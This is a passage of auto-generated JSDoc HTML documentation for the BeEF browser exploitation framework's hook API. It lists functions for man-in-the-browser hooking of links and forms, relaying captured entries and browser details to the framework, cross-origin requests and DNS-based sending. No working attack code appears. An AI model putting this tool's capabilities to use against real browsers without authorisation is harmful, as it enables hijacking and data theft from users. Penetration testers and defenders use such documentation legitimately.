  \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"mitb.js.html\">mitb.js</a>, <a href=\"mitb.js.html#line68\">line 68</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".init\"><span class=\"type-signature\">(static) </span>init<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Initializes</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"mitb.js.html\">mitb.js</a>, <a href=\"mitb.js.html#line16\">line 16</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".poisonAnchor\"><span class=\"type-signature\">(static) </span>poisonAnchor<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Hooks anchors and prevents them from linking away</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"mitb.js.html\">mitb.js</a>, <a href=\"mitb.js.html#line99\">line 99</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".poisonForm\"><span class=\"type-signature\">(static) </span>poisonForm<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Hooks forms and prevents them from linking away</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"mitb.js.html\">mitb.js</a>, <a href=\"mitb.js.html#line118\">line 118</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".sniff\"><span class=\"type-signature\">(static) </span>sniff<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Relays an entry to the framework</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"mitb.js.html\">mitb.js</a>, <a href=\"mitb.js.html#line232\">line 232</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.net.connection.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: connection</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: connection</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>\n            <span class=\"ancestors\"><a href=\"beef.net.html\">.net</a>.</span>connection</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>beef.net.connection - wraps Mozilla's Network Information API\nhttps://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation\nhttps://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_connection.js.html\">net/connection.js</a>, <a href=\"net_connection.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".downlinkMax\"><span class=\"type-signature\">(static) </span>downlinkMax<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {String}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_connection.js.html\">net/connection.js</a>, <a href=\"net_connection.js.html#line36\">line 36</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>downlink max or 'unknown'.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">String</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n    <h5>Example</h5>\n    \n    <pre class=\"prettyprint\"><code>beef.net.connection.downlinkMax()</code></pre>\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".type\"><span class=\"type-signature\">(static) </span>type<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {String}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_connection.js.html\">net/connection.js</a>, <a href=\"net_connection.js.html#line20\">line 20</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>connection type or 'unknown'.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">String</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n    <h5>Example</h5>\n    \n    <pre class=\"prettyprint\"><code>beef.net.connection.type()</code></pre>\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.net.cors.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: cors</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: cors</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>\n            <span class=\"ancestors\"><a href=\"beef.net.html\">.net</a>.</span>cors</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_cors.js.html\">net/cors.js</a>, <a href=\"net_cors.js.html#line1\">line 1</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".request\"><span class=\"type-signature\">(static) </span>request<span class=\"signature\">(method, url, data, timeout, callback)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Make a cross-origin request using CORS</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>method</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>HTTP verb ('GET', 'POST', 'DELETE', etc.)</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>url</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>url</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>data</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>request body</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>timeout</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Integer</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>request timeout in milliseconds</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>callback</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">function</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>function to callback on completion</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_cors.js.html\">net/cors.js</a>, <a href=\"net_cors.js.html#line27\">line 27</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".response\"><span class=\"type-signature\">(static) </span>response<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Response Object - used in the beef.net.request callback</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_cors.js.html\">net/cors.js</a>, <a href=\"net_cors.js.html#line12\">line 12</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.net.dns.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: dns</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: dns</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>\n            <span class=\"ancestors\"><a href=\"beef.net.html\">.net</a>.</span>dns</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>request object structure:</p>\n<ul>\n<li>msgId: {Integer} Unique message ID for the request.</li>\n<li>domain: {String} Remote domain to retrieve the data.</li>\n<li>wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED</li>\n<li>callback: {Function} Callback function to receive the number of requests sent.</li>\n</ul></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_dns.js.html\">net/dns.js</a>, <a href=\"net_dns.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".send\"><span class=\"type-signature\">(static) </span>send<span class=\"signature\">(msgId, data, domain, callback)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>msgId</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>data</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>domain</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>callback</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_dns.js.html\">net/dns.js</a>, <a href=\"net_dns.js.html#line27\">line 27</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.net.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: net</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: net</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>net</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Provides basic networking functions,\nlike beef.net.request and beef.net.forgeRequest,\nused by BeEF command modules and the Requester extension,\nas well as beef.net.send which is used to return commands\nto BeEF server-side components.</p>\n<p>Also, it contains the core methods used by the XHR-polling\nmechanism (flush, queue)</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Namespaces</h3>\n\n        <dl>\n            <dt><a href=\"beef.net.connection.html\">connection</a></dt>\n            <dd></dd>\n        \n            <dt><a href=\"beef.net.cors.html\">cors</a></dt>\n            <dd></dd>\n        \n            <dt><a href=\"beef.net.dns.html\">dns</a></dt>\n            <dd></dd>\n        \n            <dt><a href=\"beef.net.local.html\">local</a></dt>\n            <dd></dd>\n        \n            <dt><a href=\"beef.net.portscanner.html\">portscanner</a></dt>\n            <dd></dd>\n        \n            <dt><a href=\"beef.net.requester.html\">requester</a></dt>\n            <dd></dd>\n        \n            <dt><a href=\"beef.net.xssrays.html\">xssrays</a></dt>\n            <dd></dd>\n        </dl>\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".array_has_string_key\"><span class=\"type-signature\">(static) </span>array_has_string_key<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Detects if an array has a string key</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line507\">line 507</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".browser_details\"><span class=\"type-signature\">(static) </span>browser_details<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Sends back browser details to framework, calling beef.browser.getDetails()</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line550\">line 550</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".chunk\"><span class=\"type-signature\">(static) </span>chunk<span class=\"signature\">(str, amount)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Split the input data into chunk lengths determined by the amount parameter.</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>str</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description 